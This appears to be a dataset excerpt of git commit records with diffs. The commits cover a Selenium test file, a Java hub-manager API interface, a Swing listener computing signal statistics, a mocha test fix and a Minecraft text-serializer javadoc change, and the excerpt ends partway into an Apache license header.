<add>// assertEquals("Check image date on opened modal", "7 Julho, 2007",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[4]")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check page anchor text", "Segundo Ciclo em Informática - Univer...",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[1]/a")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check original page link name", "wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[2]")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check page date", "7 Julho, 2007",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[3]")).getText());
<add>// });
<add>//
<add>// run("Click on show image details button on image modal", () -> {
<add>// driver.findElement(By.id("showDetails")).click();
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail page contains page url",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<add>// containsString("http://wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail page contains page timestamp",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<add>// containsString("20070707201604"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail page contains page title",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<add>// containsString("Segundo Ciclo em Informática - Universidade do Minho - TWiki"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains original src",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("http://wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains timestamp",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("20070707201644"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains image title",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("FCCN"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains resolution value",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("319 x 69 pixels"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains mimetype value",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("image/jpeg"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail image elements contains safe value",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<add>// containsString("0.999"));
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertThat("Check image detail about collection contains expected collection value",
<add>// driver.findElement(By.xpath("//*[@id=\"imageDetailCollectionElements\"]")).getText(),
<add>// containsString("IA"));
<add>// });
<add>//
<add>// run("Close image details modal", () -> {
<add>// driver.findElement(By.id("detailsDialogClose")).click();
<add>// });
<add>//
<add>// run("Close image first modal", () -> {
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/button[1]")).click();
<add>// });
<ide> }
<ide>
<ide> } |
|
Java | epl-1.0 | 821a82fc8f9b69a8ff00c90a65c8f2c8521a570a | 0 | whizzosoftware/hobson-hub-api | /*******************************************************************************
* Copyright (c) 2014 Whizzo Software, LLC.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*******************************************************************************/
package com.whizzosoftware.hobson.api.hub;
import com.whizzosoftware.hobson.api.image.ImageInputStream;
/**
* A manager interface for Hub-related functions.
*
* @author Dan Noguerol
*/
public interface HubManager {
/**
* Returns the name of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a String
*/
public String getHubName(String userId, String hubId);
/**
* Sets the name of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param name the name to set
*/
public void setHubName(String userId, String hubId, String name);
/**
* Sets the Hub password.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param change a PasswordChange instance
*/
public void setHubPassword(String userId, String hubId, PasswordChange change);
/**
* Authenticates the admin password.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param password the password to check
*
* @return true if the password is valid
*/
public boolean authenticateAdmin(String userId, String hubId, String password);
/**
* Returns the location of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a HubLocation instance (or null if the location isn't set)
*/
public HubLocation getHubLocation(String userId, String hubId);
/**
* Sets the location of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param location a HubLocation instance
*/
public void setHubLocation(String userId, String hubId, HubLocation location);
/**
* Returns the e-mail configuration of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return an EmailConfiguration instance (or null if no e-mail information has been set)
*/
public EmailConfiguration getHubEmailConfiguration(String userId, String hubId);
/**
* Sets the e-mail configuration of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param config an EmailConfiguration instance
*/
public void setHubEmailConfiguration(String userId, String hubId, EmailConfiguration config);
/**
* Indicates whether the Hub setup wizard has been completed.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a boolean
*/
public boolean isSetupWizardComplete(String userId, String hubId);
/**
* Sets the Hub setup wizard completion status.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param complete the completion status (true == complete)
*/
public void setSetupWizardComplete(String userId, String hubId, boolean complete);
/**
* Returns the current hub log level.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a String
*/
public String getLogLevel(String userId, String hubId);
/**
* Sets the current hub log level. This will take effect immediately.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param level the new level
*/
public void setLogLevel(String userId, String hubId, String level);
/**
* Returns content from the Hub log.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param startIndex the starting index into the log file (or -1 if you want from the endIndex to end of file)
* @param endIndex the ending index into the log file (or -1 if you want from the startIndex to end of file)
*
* @return a LogContent instance
*/
public LogContent getLog(String userId, String hubId, long startIndex, long endIndex);
/**
* Add a new appender for error logging.
*
* @param aAppender the appender to add
*/
public void addErrorLogAppender(Object aAppender);
/**
* Remove an appender for error logging.
*
* @param aAppender the appender to remove
*/
public void removeLogAppender(Object aAppender);
}
| src/main/java/com/whizzosoftware/hobson/api/hub/HubManager.java | /*******************************************************************************
* Copyright (c) 2014 Whizzo Software, LLC.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*******************************************************************************/
package com.whizzosoftware.hobson.api.hub;
import com.whizzosoftware.hobson.api.image.ImageInputStream;
/**
* A manager interface for Hub-related functions.
*
* @author Dan Noguerol
*/
public interface HubManager {
/**
* Returns the name of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a String
*/
public String getHubName(String userId, String hubId);
/**
* Sets the name of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param name the name to set
*/
public void setHubName(String userId, String hubId, String name);
/**
* Sets the Hub password.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param change a PasswordChange instance
*/
public void setHubPassword(String userId, String hubId, PasswordChange change);
/**
* Authenticates the admin password.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param password the password to check
*
* @return true if the password is valid
*/
public boolean authenticateAdmin(String userId, String hubId, String password);
/**
* Returns the location of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a HubLocation instance (or null if the location isn't set)
*/
public HubLocation getHubLocation(String userId, String hubId);
/**
* Sets the location of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param location a HubLocation instance
*/
public void setHubLocation(String userId, String hubId, HubLocation location);
/**
* Returns the e-mail configuration of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return an EmailConfiguration instance (or null if no e-mail information has been set)
*/
public EmailConfiguration getHubEmailConfiguration(String userId, String hubId);
/**
* Sets the e-mail configuration of the Hub.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param config an EmailConfiguration instance
*/
public void setHubEmailConfiguration(String userId, String hubId, EmailConfiguration config);
/**
* Indicates whether the Hub setup wizard has been completed.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a boolean
*/
public boolean isSetupWizardComplete(String userId, String hubId);
/**
* Sets the Hub setup wizard completion status.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param complete the completion status (true == complete)
*/
public void setSetupWizardComplete(String userId, String hubId, boolean complete);
/**
* Returns the current hub log level.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
*
* @return a String
*/
public String getLogLevel(String userId, String hubId);
/**
* Sets the current hub log level. This will take effect immediately.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param level the new level
*/
public void setLogLevel(String userId, String hubId, String level);
/**
* Returns content from the Hub log.
*
* @param userId the user ID that owns the hub
* @param hubId the hub ID
* @param startIndex the starting index into the log file
* @param endIndex the ending index into the log file
*
* @return a LogContent instance
*/
public LogContent getLog(String userId, String hubId, long startIndex, long endIndex);
/**
* Add a new appender for error logging.
*
* @param aAppender the appender to add
*/
public void addErrorLogAppender(Object aAppender);
/**
* Remove an appender for error logging.
*
* @param aAppender the appender to remove
*/
public void removeLogAppender(Object aAppender);
}
| Fixed problem with retrieving log file ranges.
| src/main/java/com/whizzosoftware/hobson/api/hub/HubManager.java | Fixed problem with retrieving log file ranges. | <ide><path>rc/main/java/com/whizzosoftware/hobson/api/hub/HubManager.java
<ide> *
<ide> * @param userId the user ID that owns the hub
<ide> * @param hubId the hub ID
<del> * @param startIndex the starting index into the log file
<del> * @param endIndex the ending index into the log file
<add> * @param startIndex the starting index into the log file (or -1 if you want from the endIndex to end of file)
<add> * @param endIndex the ending index into the log file (or -1 if you want from the startIndex to end of file)
<ide> *
<ide> * @return a LogContent instance
<ide> */ |
|
Java | mit | 9e58a68e4ab4585779d988265d92f5f41f89bd01 | 0 | Lewerow/BTSPlacer,Lewerow/BTSPlacer | package views.listeners;
import algorithms.Algorithm;
import algorithms.random.TerrainGenerator;
import calculations.PlacerLocation;
import calculations.Terrain;
import optimizers.SignalDiffCalculator;
import views.TerrainDisplayer;
import views.utils.AlgorithmSelectionHelper;
import javax.swing.*;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
/**
* Created by Vortim on 2014-06-01.
*/
public class GuiElemListener implements ActionListener, ChangeListener {
private final JSpinner btsCounter;
private JSpinner subscriberCenterCounter;
private final TerrainDisplayer terrainDisplayer;
public GuiElemListener(JSpinner btsCounter, JSpinner subscriberCenterCounter, TerrainDisplayer terrainDisplayer) {
this.btsCounter = btsCounter;
this.subscriberCenterCounter = subscriberCenterCounter;
this.terrainDisplayer = terrainDisplayer;
}
@Override
public void actionPerformed(ActionEvent e) {
perform();
}
@Override
public void stateChanged(ChangeEvent e) {
perform();
}
private void perform() {
Algorithm algorithm = AlgorithmSelectionHelper.getInstance().getSelectedAlgorithm();
Terrain currentTerrain = terrainDisplayer.getCurrentTerrain();
algorithm.setSubscriberCenterCount((Integer) subscriberCenterCounter.getValue());
algorithm.setBtsCount((Integer) btsCounter.getValue());
terrainDisplayer.resetTerrain(algorithm.regenerateTerrain(currentTerrain));
SignalDiffCalculator diff = new SignalDiffCalculator(currentTerrain, PlacerLocation.getInstance(PlacerLocation.getWroclawLocation().getX(),
PlacerLocation.getWroclawLocation().getY() + TerrainGenerator.maxYfromWroclaw), TerrainGenerator.maxXfromWroclaw / 250);
double[][] invoked = diff.invoke();
double max = 0;
double min = 0;
double totalPlus = 0;
double totalMinus = 0;
for(double[]x : invoked)
{
for(double y : x)
{
if(max < y)
max = y;
if(min > y)
min = y;
if(y > 0)
totalPlus += y;
else
totalMinus += y;
}
}
System.out.println("");
System.out.println("======= Next Algorithm ========");
System.out.println(String.format("Data for class: %s", algorithm.getClass().getName()));
System.out.println(String.format("BTS count: %d, Subscriber Center count: %d",(Integer) btsCounter.getValue(),(Integer) subscriberCenterCounter.getValue()));
System.out.println(String.format("Max lacking signal level: %f", max));
System.out.println(String.format("Lacking signal: %f", totalPlus));
System.out.println(String.format("Max too high signal: %f", -min));
System.out.println(String.format("Total too high signal: %f", -totalMinus));
}
}
| src/main/java/views/listeners/GuiElemListener.java | package views.listeners;
import algorithms.Algorithm;
import calculations.Terrain;
import views.TerrainDisplayer;
import views.utils.AlgorithmSelectionHelper;
import javax.swing.*;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
/**
* Created by Vortim on 2014-06-01.
*/
public class GuiElemListener implements ActionListener, ChangeListener {
private final JSpinner btsCounter;
private JSpinner subscriberCenterCounter;
private final TerrainDisplayer terrainDisplayer;
public GuiElemListener(JSpinner btsCounter, JSpinner subscriberCenterCounter, TerrainDisplayer terrainDisplayer) {
this.btsCounter = btsCounter;
this.subscriberCenterCounter = subscriberCenterCounter;
this.terrainDisplayer = terrainDisplayer;
}
@Override
public void actionPerformed(ActionEvent e) {
perform();
}
@Override
public void stateChanged(ChangeEvent e) {
perform();
}
private void perform() {
Algorithm algorithm = AlgorithmSelectionHelper.getInstance().getSelectedAlgorithm();
Terrain currentTerrain = terrainDisplayer.getCurrentTerrain();
algorithm.setSubscriberCenterCount((Integer) subscriberCenterCounter.getValue());
algorithm.setBtsCount((Integer) btsCounter.getValue());
terrainDisplayer.resetTerrain(algorithm.regenerateTerrain(currentTerrain));
}
}
| Fixed the "Evolutionary" a little.
It's not good, but better.
| src/main/java/views/listeners/GuiElemListener.java | Fixed the "Evolutionary" a little. It's not good, but better. | <ide><path>rc/main/java/views/listeners/GuiElemListener.java
<ide> package views.listeners;
<ide>
<ide> import algorithms.Algorithm;
<add>import algorithms.random.TerrainGenerator;
<add>import calculations.PlacerLocation;
<ide> import calculations.Terrain;
<add>import optimizers.SignalDiffCalculator;
<ide> import views.TerrainDisplayer;
<ide> import views.utils.AlgorithmSelectionHelper;
<ide>
<ide> algorithm.setSubscriberCenterCount((Integer) subscriberCenterCounter.getValue());
<ide> algorithm.setBtsCount((Integer) btsCounter.getValue());
<ide> terrainDisplayer.resetTerrain(algorithm.regenerateTerrain(currentTerrain));
<add>
<add> SignalDiffCalculator diff = new SignalDiffCalculator(currentTerrain, PlacerLocation.getInstance(PlacerLocation.getWroclawLocation().getX(),
<add> PlacerLocation.getWroclawLocation().getY() + TerrainGenerator.maxYfromWroclaw), TerrainGenerator.maxXfromWroclaw / 250);
<add>
<add> double[][] invoked = diff.invoke();
<add> double max = 0;
<add> double min = 0;
<add> double totalPlus = 0;
<add> double totalMinus = 0;
<add>
<add> for(double[]x : invoked)
<add> {
<add> for(double y : x)
<add> {
<add> if(max < y)
<add> max = y;
<add> if(min > y)
<add> min = y;
<add> if(y > 0)
<add> totalPlus += y;
<add> else
<add> totalMinus += y;
<add>
<add> }
<add> }
<add>
<add>
<add> System.out.println("");
<add> System.out.println("======= Next Algorithm ========");
<add> System.out.println(String.format("Data for class: %s", algorithm.getClass().getName()));
<add> System.out.println(String.format("BTS count: %d, Subscriber Center count: %d",(Integer) btsCounter.getValue(),(Integer) subscriberCenterCounter.getValue()));
<add> System.out.println(String.format("Max lacking signal level: %f", max));
<add> System.out.println(String.format("Lacking signal: %f", totalPlus));
<add> System.out.println(String.format("Max too high signal: %f", -min));
<add> System.out.println(String.format("Total too high signal: %f", -totalMinus));
<add>
<ide> }
<ide> } |
|
JavaScript | bsd-3-clause | c4f0b933f859f17e6a4f607b98867597225f28a9 | 0 | 7k8m/json.filed,7k8m/json.filed | 'use strict';
var jf = require('../../'),
expect = require('chai').expect,
fs = require('fs');
const testFilePath = './' + Math.random() + '.json';
const testFile2Path = './' + Math.random() + '.json';
const testFile3Path = './' + Math.random() + '.json';
const collectedFilePath = './' + Math.random() + '.json';
const objToAdd = { msg: 'added by collect executer' };
describe('Collect function', function () {
it('should work without error', function (done) {
jf.filed( [ testFilePath, testFile2Path ] ).io(
function( obj, filePath) {
return { file: filePath };
}
)
.filter( obj => obj.file != testFile3Path )
.collect(
function(obj){
expect( obj.length ).to.be.equal(2);
obj[2] = objToAdd;
return obj;
},
collectedFilePath,
function(err){ console.log(err); }
)
.pass(( obj ) => {
expect( obj.length ).to.be.equal(3);
expect(
obj[0].file == testFilePath ||
obj[0].file == testFile2Path ).to.be.equal( true );
expect(
obj[1].file == testFilePath ||
obj[1].file == testFile2Path ).to.be.equal( true );
expect( obj[0].file != obj[1].file ).to.be.equal(true);
expect( obj[2] ).to.be.eql( objToAdd );
jf
.filed( testFilePath )
.pass( obj =>{ expect(obj.file).to.be.equal( testFilePath ) } )
.pass( () => {
jf
.filed( testFile2Path )
.pass(
obj => {
expect(obj.file).to.be.equal( testFile2Path )
done();
} )
.exec();
} ).exec();
} )
.exec();
});
});
| test/unit/testCollect.js | 'use strict';
var jf = require('../../'),
expect = require('chai').expect,
fs = require('fs');
const testFilePath = './' + Math.random() + '.json';
const testFile2Path = './' + Math.random() + '.json';
const testFile3Path = './' + Math.random() + '.json';
const collectedFilePath = './' + Math.random() + '.json';
const objToAdd = { msg: 'added by collect executer' };
describe('Collect function', function () {
it('should work without error', function (done) {
jf.filed( [ testFilePath, testFile2Path ] ).io(
function( obj, filePath) {
return { file: filePath };
}
)
.filter( obj => obj.file != testFile3Path )
.collect(
function(obj){
expect( obj.length ).to.be.equal(2);
obj[2] = objToAdd;
return obj;
},
collectedFilePath,
function(err){ console.log(err); }
)
.pass(( obj ) => {
expect( obj.length ).to.be.equal(3);
expect(
obj[0].file == testFilePath ||
obj[0].file == testFile2Path ).to.be.equal( true );
expect(
obj[1].file == testFilePath ||
obj[1].file == testFile2Path ).to.be.equal( true );
expect( obj[0].file != obj[1].file ).to.be.equal(true);
expect( obj[2] ).to.be.eql( objToAdd );
jf
.filed( testFilePath )
.pass( obj =>{ expect(obj.file).to.be.equal( testFilePath ) } )
.pass( () => {
jf
.filed( testFile2Path )
.pass( obj => { expect(obj.file).to.be.equal( testFile2Path ) } )
.exec();
} ).exec();
done() } )
.exec();
});
});
| Update done call in test of collect
| test/unit/testCollect.js | Update done call in test of collect | <ide><path>est/unit/testCollect.js
<ide> .pass( () => {
<ide> jf
<ide> .filed( testFile2Path )
<del> .pass( obj => { expect(obj.file).to.be.equal( testFile2Path ) } )
<add> .pass(
<add> obj => {
<add> expect(obj.file).to.be.equal( testFile2Path )
<add> done();
<add> } )
<ide> .exec();
<ide> } ).exec();
<del>
<del> done() } )
<add> } )
<ide> .exec();
<ide> });
<ide> }); |
|
Java | mit | 0181e7b39875b52492b08b4834793db57cf311cb | 0 | KyoriPowered/text,KyoriPowered/text | /*
* This file is part of adventure, licensed under the MIT License.
*
* Copyright (c) 2017-2020 KyoriPowered
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package net.kyori.adventure.text.serializer.legacy;
import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.TextComponent;
import net.kyori.adventure.text.event.ClickEvent;
import net.kyori.adventure.text.event.HoverEvent;
import net.kyori.adventure.text.format.Style;
import net.kyori.adventure.text.serializer.ComponentSerializer;
import org.checkerframework.checker.nullness.qual.NonNull;
/**
* A legacy component serializer.
*
* <p>Legacy does <b>not</b> support more complex features such as, but not limited
* to, {@link ClickEvent} and {@link HoverEvent}.</p>
*/
public interface LegacyComponentSerializer extends ComponentSerializer<Component, TextComponent, String> {
/**
* Gets a component serializer for legacy-based serialization and deserialization. Note that this
* serializer works exactly like vanilla Minecraft and does not detect any links. If you want to
* detect and make URLs clickable, use {@link Builder#extractUrls()}.
*
* @return a component serializer for legacy serialization and deserialization
*/
static @NonNull LegacyComponentSerializer legacy() {
return LegacyComponentSerializerImpl.SECTION_CHAR;
}
/**
* Gets a component serializer for legacy-based serialization and deserialization. Note that this
* serializer works exactly like vanilla Minecraft and does not detect any links. If you want to
* detect and make URLs clickable, use {@link Builder#extractUrls()}.
*
* @param legacyCharacter the legacy character to use
* @return a component serializer for legacy serialization and deserialization
*/
static @NonNull LegacyComponentSerializer legacy(final char legacyCharacter) {
switch(legacyCharacter) {
case LEGACY_CHARACTER_SECTION:
return LegacyComponentSerializerImpl.SECTION_CHAR;
case LEGACY_CHARACTER_AMPERSAND:
return LegacyComponentSerializerImpl.AMPERSAND_CHAR;
default:
return builder().character(legacyCharacter).build();
}
}
/**
* Creates a new {@link LegacyComponentSerializer.Builder}.
*
* @return the builder
*/
static Builder builder() {
return new LegacyComponentSerializerImpl.BuilderImpl();
}
/**
* The legacy character used by Minecraft. ('§')
*/
char LEGACY_CHARACTER_SECTION = '\u00A7';
/**
* The legacy character frequently used by configurations and commands. ('&')
*/
char LEGACY_CHARACTER_AMPERSAND = '&';
/**
* The legacy character used to prefix hex colors. ('#')
*/
char LEGACY_HEX_CHARACTER = '#';
/**
* Deserialize a component from a legacy {@link String}.
*
* @param input the input
* @return the component
*/
@Override
@NonNull TextComponent deserialize(final @NonNull String input);
/**
* Serializes a component into a legacy {@link String}.
*
* @param component the component
* @return the string
*/
@Override
@NonNull String serialize(final @NonNull Component component);
/**
* A builder for {@link LegacyComponentSerializer}.
*/
interface Builder {
/**
* Sets the legacy character used by the serializer.
*
* @param legacyCharacter the legacy character
* @return this builder
*/
@NonNull Builder character(final char legacyCharacter);
/**
* Sets the legacy hex character used by the serializer.
*
* @param legacyHexCharacter the legacy hex character.
* @return this builder
*/
@NonNull Builder hexCharacter(final char legacyHexCharacter);
/**
* Sets that the serializer should extract URLs into {@link ClickEvent}s
* when deserializing.
*
* @return this builder
*/
@NonNull Builder extractUrls();
/**
* Sets that the serializer should extract URLs into {@link ClickEvent}s
* when deserializing.
*
* @param style the style to use for extracted links
* @return this builder
*/
@NonNull Builder extractUrls(final @NonNull Style style);
/**
* Builds the serializer.
*
* @return the built serializer
*/
@NonNull LegacyComponentSerializer build();
}
}
| text-serializer-legacy/src/main/java/net/kyori/adventure/text/serializer/legacy/LegacyComponentSerializer.java | /*
* This file is part of adventure, licensed under the MIT License.
*
* Copyright (c) 2017-2020 KyoriPowered
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package net.kyori.adventure.text.serializer.legacy;
import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.TextComponent;
import net.kyori.adventure.text.event.ClickEvent;
import net.kyori.adventure.text.event.HoverEvent;
import net.kyori.adventure.text.format.Style;
import net.kyori.adventure.text.serializer.ComponentSerializer;
import org.checkerframework.checker.nullness.qual.NonNull;
/**
* A legacy component serializer.
*
* <p>Legacy does <b>not</b> support more complex features such as, but not limited
* to, {@link ClickEvent} and {@link HoverEvent}.</p>
*/
public interface LegacyComponentSerializer extends ComponentSerializer<Component, TextComponent, String> {
/**
* Gets a component serializer for legacy-based serialization and deserialization. Note that this
* serializer works exactly like vanilla Minecraft and does not detect any links. If you want to
* detect and make URLs clickable, use {@link Builder#extractUrls()}.
*
* @return a component serializer for legacy serialization and deserialization
*/
static @NonNull LegacyComponentSerializer legacy() {
return LegacyComponentSerializerImpl.SECTION_CHAR;
}
/**
* Gets a component serializer for legacy-based serialization and deserialization. Note that this
* serializer works exactly like vanilla Minecraft and does not detect any links. If you want to
* detect and make URLs clickable, use {@link Builder#extractUrls()}.
*
* @param legacyCharacter the legacy character to use
* @return a component serializer for legacy serialization and deserialization
*/
static @NonNull LegacyComponentSerializer legacy(final char legacyCharacter) {
switch(legacyCharacter) {
case LEGACY_CHARACTER_SECTION:
return LegacyComponentSerializerImpl.SECTION_CHAR;
case LEGACY_CHARACTER_AMPERSAND:
return LegacyComponentSerializerImpl.AMPERSAND_CHAR;
default:
return builder().character(legacyCharacter).build();
}
}
/**
* Creates a new {@link LegacyComponentSerializer.Builder}.
*
* @return the builder
*/
static Builder builder() {
return new LegacyComponentSerializerImpl.BuilderImpl();
}
/**
* The legacy character used by Minecraft. ('§')
*/
char LEGACY_CHARACTER_SECTION = '\u00A7';
/**
* The legacy character frequently used by configurations and commands. ('&')
*/
char LEGACY_CHARACTER_AMPERSAND = '&';
/**
* The legacy character used to prefix hex colors. ('#')
*/
char LEGACY_HEX_CHARACTER = '#';
/**
* Deserialize a component from a legacy {@link String}.
*
* @param input the input
* @return the component
*/
@Override
@NonNull TextComponent deserialize(final @NonNull String input);
/**
* Serializes a component into a legacy {@link String}.
*
* @param component the component
* @return the string
*/
@Override
@NonNull String serialize(final @NonNull Component component);
/**
* A builder for {@link LegacyComponentSerializer}.
*/
interface Builder {
/**
* Sets the legacy character used by the serializer.
*
* @param legacyCharacter the legacy character
* @return this builder
*/
@NonNull Builder character(final char legacyCharacter);
/**
* Sets the legacy hex character used by the serializer.
*
* @param legacyHexCharacter the legacy hex character.
* @return this builder
*/
@NonNull Builder hexCharacter(final char legacyHexCharacter);
/**
* Sets that the serializer should extract URLs into {@link ClickEvent}s
* when deserializing.
*
* @return this builder
*/
@NonNull Builder extractUrls();
/**
* Sets that the serializer should extract URLs into {@link ClickEvent}s
* when deserializing.
*
* @param style the style to use for extracted links
* @return this builder
*/
@NonNull Builder extractUrls(final @NonNull Style style);
/**
* Builds the serializer.
*
* @return the built serializer
*/
@NonNull LegacyComponentSerializer build();
}
}
| Fix javadoc
| text-serializer-legacy/src/main/java/net/kyori/adventure/text/serializer/legacy/LegacyComponentSerializer.java | Fix javadoc | <ide><path>ext-serializer-legacy/src/main/java/net/kyori/adventure/text/serializer/legacy/LegacyComponentSerializer.java
<ide> char LEGACY_CHARACTER_SECTION = '\u00A7';
<ide>
<ide> /**
<del> * The legacy character frequently used by configurations and commands. ('&')
<add> * The legacy character frequently used by configurations and commands. ('&')
<ide> */
<ide> char LEGACY_CHARACTER_AMPERSAND = '&';
<ide> |
|
JavaScript | apache-2.0 | cd3a55783dc76803b644902da142f0509c5e808f | 0 | sekikn/ambari,alexryndin/ambari,radicalbit/ambari,arenadata/ambari,arenadata/ambari,alexryndin/ambari,sekikn/ambari,arenadata/ambari,arenadata/ambari,sekikn/ambari,sekikn/ambari,radicalbit/ambari,alexryndin/ambari,radicalbit/ambari,alexryndin/ambari,alexryndin/ambari,arenadata/ambari,arenadata/ambari,alexryndin/ambari,sekikn/ambari,arenadata/ambari,sekikn/ambari,alexryndin/ambari,radicalbit/ambari,radicalbit/ambari,arenadata/ambari,radicalbit/ambari,sekikn/ambari,radicalbit/ambari,alexryndin/ambari,alexryndin/ambari,arenadata/ambari,arenadata/ambari,radicalbit/ambari,alexryndin/ambari,radicalbit/ambari,sekikn/ambari,alexryndin/ambari,arenadata/ambari,radicalbit/ambari,sekikn/ambari,radicalbit/ambari | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
